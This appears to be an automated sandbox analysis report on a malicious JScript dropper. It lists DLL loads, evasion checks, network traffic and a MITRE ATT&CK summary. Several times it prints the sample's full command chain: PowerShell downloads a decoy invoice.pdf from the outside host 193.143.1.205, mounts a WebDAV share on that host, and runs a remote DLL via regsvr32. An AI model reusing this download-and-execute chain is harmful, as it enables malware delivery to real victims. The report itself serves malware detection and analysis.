Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\2093.js.csv");ITextStream.WriteLine(" entry:7018 f:orxrltwmc");ITextStream.WriteLine(" exec:2 f:orxrltwmc");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5478			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3601			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8036	Thread sleep count: 5478 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8036	Thread sleep count: 3601 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8104	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8120	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8020	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8132	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7456	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3280	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.1479734746.0000023BD09A8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1479734746.0000023BD0A08000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2708230077.000001BBAD65B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2708127138.000001BBAD643000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2707061906.000001BBA802F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.1479734746.0000023BD0A08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWC*

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30722353614508.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30722353614508.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30722353614508.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30722353614508.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30722353614508.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
